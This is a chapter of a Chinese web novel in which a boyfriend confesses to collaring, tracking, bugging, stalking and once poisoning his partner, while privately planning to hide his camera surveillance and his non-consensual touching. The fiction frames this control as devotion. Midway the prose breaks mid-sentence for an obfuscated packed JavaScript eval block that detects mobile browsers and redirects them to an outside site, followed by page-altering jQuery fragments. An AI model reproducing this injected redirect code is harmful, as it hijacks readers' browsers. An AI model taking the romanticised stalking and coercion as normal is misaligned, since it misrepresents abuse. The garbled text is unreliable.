病房的门虚掩着。
沈恪在门口站了很久。手里的蜂蜜小面包袋，勒得指腹发疼。
他在想第一句话该说什么。想了好几遍，没想出答案。
最后他还是推门进去了。
白越靠在床头，腿上盖着被子，手机握在手里。听见动静立刻抬头，眉眼弯弯：“宝宝。”
沈恪把袋子往床头柜上一放，动作有点急。他没看白越，声音尽量放轻：“给你带的，趁热吃。”
白越看了眼面包，愣了愣。
上一次，也是沈恪独自出门后给他带了袋这个回来。
“医院门口的小摊。”沈恪低头拆袋子，指尖发颤，“凉了就不好吃了。”
白越没说话，拿起一个，掰开，递过来一半。沈恪接了，咬一口，嚼着嚼着，嘴里发苦。
白越看着他吃，自己也咬了一口。甜的，很烫，软的有点过分，不是他喜欢的味道。但他吃得很慢，像是在品什么好东西。
“好吃。”他说。
沈恪嗯了一声，没接话。他站在床边，没坐，手插在外套口袋里，目光落在窗帘上，白窗帘被风吹得晃了晃，晃得眼睛发花。
沈恪在警局待了一下午，回来的时候还记得给他带零食。
白越忽然有些想笑。
他的宝宝怎么这么乖啊。
他放下面包，伸出手，指尖快要碰到他的胳膊：“宝宝，过来。”
沈恪猛地偏头，避开那只手，目光闪了闪。
“我去问医生，你腿怎么样了。”他语速很快，往后退了两步，几乎是逃着往门口走。
白越的手还悬在半空没有收回来。
“宝宝？”他叫了一声，声音依旧软，却没了之前的雀跃。
沈恪回过头，不敢看他的眼睛。
白越看着他，嘴角还弯着：“早点回来。”
沈恪点了点头，推门出去，反手带上门的瞬间，后背抵在墙上，大口喘气。
走廊里人来人往，护士推着药车，轮子碾过地砖，咕噜咕噜的响，听着刺耳。
沈恪靠着墙，低下头，盯着自己的鞋尖。
慌。
说不出的慌。
刚才推门进去的几秒，像耗光了全身的力气。
他果然还是没想好该怎么面对白越。
……
病房里，白越收回手，放在被子上，指尖轻轻摩挲着纱布边缘。
不对。
沈恪不对劲。
推门太慢，眼神躲闪，没叫他，没坐他旁边，甚至没敢多看他一眼。
白越靠在床头，盯着天花板，脑子里把沈恪进门后的每一个细节重新过了一遍。
他拿起手机，翻开聊天记录，往上划，一页一页。
前面都是软乎乎的消息，沈恪发的可爱表情包，黏人的语音，软软的“白越”。
直到那一条：【然】我到啦，别担心。
他回复的“好”。之后，沈恪再没回消息。
十二点四十分，定位显示沈恪到了市局。
两小时后，他发“宝宝你什么时候回来”，依旧没回复。
白越盯着屏幕，指尖冰凉。
沈恪在市局待了一个半小时，两点十分离开。可市局到医院最多只有半小时的路程。
沈恪回到医院，是下午五点。
中间有两个多小时的空白。
跃迁说了什么。
定位器、名单的事，沈恪能接受。软囚禁他都接受了，这些不会让他怕。
是更可怕的东西。让沈恪开始怕他的东西。
是什么？
白越的呼吸顿了一瞬，眼底掠过一丝阴翳，快得让人抓不住。很快，又恢复了平静。
“咚咚咚。”
门忽地被敲响，推开。
沈恪低着头走了进来，坐到他自己的床上，开始削苹果。
刀刃划过苹果皮，沙沙响。
“医生说你还要观察几天。”他把苹果皮丢进垃圾桶，声音很干，“我……我可以出院了。”
白越的心脏猛地一跳。
沈恪要说什么？伤口好了为什么要说自己可以出院了？
沈恪拆开手腕上的纱布，勒痕淡了，只剩几道红印，他转了转手腕：“你看，好了。”
白越盯着他的手腕，喉结动了动。
不行，不要说。
“这几天你也没大问题……”沈恪的声音顿了顿，避开他的目光，“我想出院了，白越。”
白越盯着他看了很久，唇瓣微启，声音依旧温柔：“……是我做错了什么吗，宝宝？”
沈恪猛地抬头，在白越垂眼的瞬间，疯狂摇头，肩膀发颤：“不是你，是我……是我……”
白越没让他说完，语气软下来，像在哄小孩：“是不是我那天亲照片吓到你了？”
“是我自顾自跑过去救你，还受伤了，宝宝在生气？”
“还是……我太粘人了，你觉得烦了？”
沈恪一阵失语。
他完全不知道要开口。
这怎么说？说有个人，列举了很多我不得不信的证据，然后告诉我你本来应该是个杀人犯，说我喜欢的温柔的你，都是装的？
可如果因为另一个世界发生过的事，就对现在的白越……怎么样，那对白越公平吗？
病房里静得诡异，只有窗外的风声，还有苹果刀落在桌上的轻响。
白越看着他沉默，眼底的光一点一点暗下去。他没追问，只是垂下眼，深呼吸一口气，再吸一口气。
他没有等到回答，便开始自己找答案。
“那天我亲照片，是想亲宝宝。”他抬起手，指尖点在自己嘴角，那颗和沈恪同一位置的黑痣上，“你介意这张脸，我就只能隔着照片亲，也像是在亲你。”
他顿了顿。
“……隔着就隔着吧。”
沈恪的眼眶一下子就红了，酸涩往上涌。
“我跑过去救你，因为我怕来不及。”白越低下头，声音闷在胸口，呢喃似的，“我怕晚一点，就找不到你了。”
“粘人。”他抬眼，眼底有血丝，“你一不在，我就觉得你要走了。”
“不是！”沈恪忙不迭打断他，“我喜欢你粘着我，我……”
“那就是我哪里错了，我不知道。”白越盯着他，灼人的目光似是要将他细细拆开，再温柔地收好，“宝宝告诉我，我改。”
沈恪张了张嘴，喉咙里像堵着棉花，一个字都挤不出来。
“宝宝。”白越又叫他，声音更轻，像哄，又像是在求，“你说句话。”
沈恪抬起头。白越的眼睛里有血丝，眼底泛着淡淡的青黑，嘴唇也没什么血色。
他看起来比自己更像那个被绑架的人。
白越在怕。
这个念头冒出来时，心口忽然软了一下。
可紧接着，又是一阵发冷。
他该心软吗？
“……你没做错什么。”沈恪低声回复道。
白越的眼睛亮了一下，又很快暗下去，像燃尽的火星。
“那你为什么……”白越的声音断了一下，像是在斟酌措辞，“不理我？”
沈恪愣了一下。
他以为白越不会注意到。或者说，他以为白越不会问。
他不是故意不理，是不敢。怕一开口，就问出那些戳心的问题，打破这层脆弱的平静。
过了很久，他才挤出一句：“我没有不理你。”
白越微微倾身，离他很近。狐狸眼直勾勾地盯着他，呼吸缠在一起，热得发烫。
两个字，很轻，但很笃定。
沈恪喘不过气。
白越什么都知道。他什么都知道，他只是不说。
想解释，却找不到理由。说“我在想事情”？连他自己都不信。
“……对不起。”他低下头。
白越的手忽然抓住他的手腕，不疼，但攥得很紧，那块皮肤发烫，像要烧起来。他往前倾了倾，额头抵着沈恪的额头。
太近了。
近到沈恪能看清他眼底的血丝，近到两个人的呼吸缠在一起，分不清是谁的。
“不要道歉。”白越平静的面容上终于出现了裂痕，“我只想知道，我哪里做得不好。”
他的声音压得很低，像是在克制，又像是已经快克制不住了。
沈恪的鼻子一酸，眼泪差点掉下来：“你真的没有错，是我自己的问题。”
白越安静了很久。
然后呼出一口气，像是什么东西落了下去。
“好。”
就一个字，平静得过分。
沈恪抬头，看见他脸上又恢复了平时的温柔，好像刚才的脆弱都是错觉。
“那宝宝什么时候想说了，”白越弯了弯嘴角，“再告诉我。”
他松开手，往后退了半步。那个距离不远不近，正好是沈恪伸手够不到的位置。
沈恪的手空了一下，心里也空了一下。
想伸手，又缩了回去。
“……那我先回去了，祈愿来接我，他要到楼下了。”
白越闭了闭眼。
他本来已经快说服自己了，可是为什么又是祈愿。
再睁开时，眼底的阴翳又藏住了。他伸手，最后一次拽住沈恪的手腕，声音软得发黏：“宝宝，可以陪我吗？”
他垂眸，盯着自己缠着纱布的腿，指尖悬在纱布上，声音发哑：“腿有点疼。今天换药的时候，护士说伤口长得不好，要重新清创。”
沈恪的脚步顿住了。
病房的灯很白，落在白越苍白的侧脸上，睫毛的阴影拉得很长，看起来很可怜。
他又要把白越一个人丢在这里了。
哎呀烦死了。
脑子乱糟糟的，嗡嗡响。
走也不是，留也不是。
算了。
不走了。
他转身走回来，坐在白越旁边的椅子上，椅子腿蹭过地砖，嗤啦一声响。
白越抬起头，眼底有一瞬间的茫然，很快又被温柔覆盖。
“宝宝？”
“你之前答应我，”沈恪开口，声音很紧，“一天告诉我一个瞒着我的事。”
白越的呼吸停了一瞬。
“我现在不想等了。”沈恪看着他，眼神发直，“今天全部告诉我。”
白越沉默了片刻，垂下眼，遮住眼底翻涌的情绪，再抬眼时，已经恢复了平静。
“现在？”
“嗯。”
“全部？”
“全部。”
“全部”这个词落进耳朵里的时候，白越的脑子里先过了一遍。
能说的，不能说的，分得分明。
宝宝不是会执着于事情对错的人。他做事的逻辑很简单，谁对他好，他就对谁好。他问这个事，目的不会是出于审判，是他觉得“你应该告诉我”。
如果不说，他已经起了疑心。他会自己去查，或者从跃迁那里知道更多。到那时候，他听到的版本就不是自己说的了。被动解释和主动坦白，他会更信哪一个？前者。
如果全说，他会怕。他可能会走，可能不会再来。但至少他听到的是真话，不会从别人嘴里知道那些事。主动权在自己手里，自己可以在说的时候控制节奏、控制语气、控制沈恪的反应。
利弊在脑子里转了一圈，结论只有一个——
他不能说全部，至少现在不行，死也得埋在心底。有些事情一旦说出来，他在沈恪眼里就再也不是那个温柔的、无害的、只是太爱他了所以做错事的男友了。
项圈、手环、定位器、监听器……这些可以说。沈恪已经经历过软囚禁，这些事在他能承受的范围内。
廖辰的事、跟踪的事、改祈愿航班的事、陶兰的事……这些也可以说。沈恪心软，他会心疼那些被自己伤害的人，也会心疼自己“为什么要做到这种地步”。
这些事说出来，沈恪会难过，但不会走。
那哪些不能说？
和沈恪本人有关的，会引起他害怕和恐慌的，不能说。
他做过最蠢的事就是国庆节那一次，在巷子里，他把沈恪按在墙上，亲他，摸他，把人吓哭了。如果沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448814|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恪知道那天非礼他的是他……
他不敢想。
还有监控。监听可以说，跟踪可以说，但监控不行。沈恪如果知道自己连在房间里换衣服都被他看着……
他闭上眼，把那几个画面压下去。
还有……沈恪睡着的时候。
他碰过他。不止一次。量尺寸、拍照、亲嘴角那颗痣。那些事沈恪若是知道了，他会觉得自己像个被摆弄的娃娃，连睡着都不会安心。
白越深吸一口气，再睁开眼时，表情已经恢复了平静。
能说的那些，已经够沈恪消化一阵了。
“……好。”
这个字说出口的时候，他忽然觉得轻松了一点。
至少，沈恪还愿意听他讲。
悬着的心，终于落回了实处。
……
第一个，是项|圈。
“项圈是我为你定做的。在知道你的名字之后，很快就做好了。内侧刻着你的名字，绳子的长度刚好够你走到门口。你拽一下，就会收紧。你疼了，就会乖。”
白越说到这里的时候，停了一下。
沈恪没看他，盯着自己的手指，指尖在无意识地绞着衣角，越绞越紧。
白越看见了。
他沉默几秒，声音放得更轻：“后来你想离开，我就想……我戴也可以。我不想要你走。”
“手环呢？”沈恪的声音很干。
白越没有犹豫，直白得过分：“定位器，心率监测，还有监听器。你之前的手机里也有，被绑架后坏了，就换了手环。”
沈恪很安静。他不知道要说什么。
脑子开始胀，他被白越的话砸懵了。
白越等了一会儿，没等到他开口，便继续说下去。第二个，第三个，第四个……
他每说完一件，就停一下，看一眼沈恪。
沈恪的脸色一点一点白下去，指尖攥着床单，褶皱堆在一起。白越看见了，把声音放得更轻，把语速放得更慢，像在拆一颗炸弹，每一根线都要看清楚才敢剪。
“……廖辰的退学，是我做的。他做皮条客的证据，是我递到学校的。他父母的工作，也是我让人辞退的。”
沈恪猛地抬头，嘴唇动了动，发不出声音。
眼前闪过廖辰狰狞的脸，闪过第一次约会时，电影院门口偶遇的画面。
原来不是巧合。
白越看着他，顿了顿，继续说。
跟踪沈恪、利用陶兰报复温择言、改祈愿的航班不让他回国、亲眼目睹于送风父亲的死亡……
他每说一件，沈恪的表情就变一点。从震惊到茫然，从茫然到木然，像一层一层霜打上去。
白越看着那些变化，在心里记着。
到第六件的时候，沈恪忽然开口：“还有呢？”
声音很轻，但白越听见了。
“……还有。”
他说到第九件的时候，沈恪浑身开始抖，控制不住地抖。
直到他说完最后一句“我调查过很多可能会伤害到你的人，把这份名单提供给了警方”，沈恪已经彻底说不出话了，只呆愣愣地看着白越。
白越终于在他面前剥去了那层温润无害的伪装，露出了内里危险阴森的芯子。
沈恪以为自己会高兴的，因为白越终于对他袒露心扉了。可白越每说一件，他就同步想起当初的不对劲。
林未晚说有人举报了张强，原来不是安阳。
第一次约会，他说想看电影，白越立刻就带他去，原来早就查好了。
那些他以为的幸运，那些巧合，全是白越精心安排的。
脑子越来越胀，越来越沉，里面装满了白越刚才说的那些话。
他不知道要用难以置信来形容自己此时的心情，还是要说一句不可理喻。
他想起自己刚换过来的时候，什么都不懂。白越说什么他都信。
因为白越对他好，好到他觉得没有必要怀疑，好到他以为白越真的很喜欢很喜欢“阿然”。
可现在那些“好”全变了味道。
他使劲掐着自己，指甲掐进掌心，疼，尖锐的疼，可没用，松开手，还是在抖。
白越看着他，没说话。
他坐在那里，隔着不到一米的距离，但沈恪觉得那段距离忽然变得很远。
远到像隔了一层磨砂玻璃，他看得见白越的轮廓，看不清表情。远到他觉得那不是一个他伸手就能够到的人。
“宝宝。”白越叫他，声音很轻。
沈恪没应。
“我说的，都是实话。”白越的语气依旧平静。
“不对。”沈恪听见自己的声音，带着一丝执拗，“还有一件，你没说。”
白越看向他，满目的柔情缱绻：“你说。”
“在我换过来之前，你是不是和温清然喝过酒？”
“……”
“你是不是……”沈恪的表情越来越难看，嘴唇哆嗦着，“真的对温清然下过毒？”
“在我刚换到这里的时候，你做好让我吃的那顿饭，真的只是饭吗？”
“白越？”
白越看着沈恪，沉默了片刻，像是在确认这个问题是不是真的被问出来了。
“……对。”
他顿了一下，垂下眼，语气比之前更轻：“我下了毒。”
言语直白得近乎莽撞。
沈恪没有接话。
他盯着白越，像在看一个陌生人。
不，不是陌生人。
还是他认识的那个人，只是但那个人身上忽然多出了他没见过的部分。
熟悉的脸，熟悉的声音，熟悉的温柔，可内里的东西，陌生得让他害怕。
他不知道该怎么把这两部分拼在一起。
他根本拼不出那个温柔粘人、会为他受伤的白越，和这个冷静下毒、精心算计的白越。
胸口发闷，喘不上气。
“……没了？”他的声音很轻，像飘在半空。
“你问的是不是，我答是。”
白越看着他，眼底情绪浓郁：“你还没问，为什么。”